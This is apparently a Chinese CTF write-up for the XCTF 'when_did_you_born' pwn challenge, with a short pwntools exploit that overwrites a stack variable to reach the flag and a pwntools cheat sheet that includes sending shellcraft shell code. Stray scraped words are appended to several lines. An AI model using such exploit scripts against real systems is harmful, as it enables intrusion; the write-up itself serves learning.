題目傳送門:https://adworld.xctf.org.cn/task/answer?type=pwn&number=2&grade=0&id=5051python
checksec文件:linux
沒啥,ida打開:shell
第一個判斷v5應該不等於1926,第二次判斷應該等於1926,看到v4,雙擊進入,能夠查看到v5和v4都是同一stack下的,用v4覆蓋v5的位置,實現第二個判斷爲1926。架構
在最上面定義能夠看到,相對偏移爲8。函數
構造exp:spa
from pwn import * #cnn = process('./when_did_you_born') cnn = remote('111.198.29.45',33487) payload = 'a'*8+p64(1926) cnn.recvuntil('Your Birth?') cnn.sendline('1926') cnn.sendline(payload) cnn.interactive()
運行一下,能夠獲得flag:3d
總結:唔。。。這是昨天的升級版。code
額外小知識:blog
# Pwntools環境預設 from pwn import * context.arch = "amd64/i386" #指定系統架構 context.terminal = ["tmux,"splitw","-h"] #指定分屏終端 context.os = "linux" #context用於預設環境 # 庫信息 elf = ELF('./PWNME') # ELF載入當前程序的ELF,以獲取符號表,代碼段,段地址,plt,got信息 libc = ELF('lib/i386-linux-gnu/libc-2.23.so') # 載入libc的庫,能夠經過vmmap查看 /* 首先使用ELF()獲取文件的句柄,而後使用這個句柄調用函數,如 >>> e = ELF('/bin/cat') >>> print hex(e.address) # 文件裝載的基地址 >>> print hex(e.symbols['write']) # plt中write函數地址 >>> print hex(e.got['write']) # GOT表中write符號的地址 >>> print hex(e.plt['write']) # PLT表中write符號的地址 */ # Pwntools通訊 p = process('./pwnme') # 本地 process與程序交互 r = remote('exploitme.example.com',3333) # 遠程 # 交互 recv() # 接收數據,一直接收 recv(numb=4096,timeout=default) # 指定接收字節數與超時時間 recvuntil("111") # 接收到111結束,能夠裁剪,如.[1:4] recbline() # 接收到換行結束 recvline(n) # 接收到n個換行結束 recvall() # 接收到EOF recvrepeat(timeout=default) #接收到EOF或timeout send(data) # 發送數據 sendline(data) # 發送一行數據,在末尾會加\n sendlineafter(delims,data) # 在程序接收到delims再發送data r.send(asm(shellcraft.sh())) # 信息通訊交互 r.interactive() # send payload後接收當前的shell # 字符串與地址的轉換 p64(),p32() #將字符串轉化爲ascii字節流 u64(),u32() #將ascii的字節流解包爲字符串地址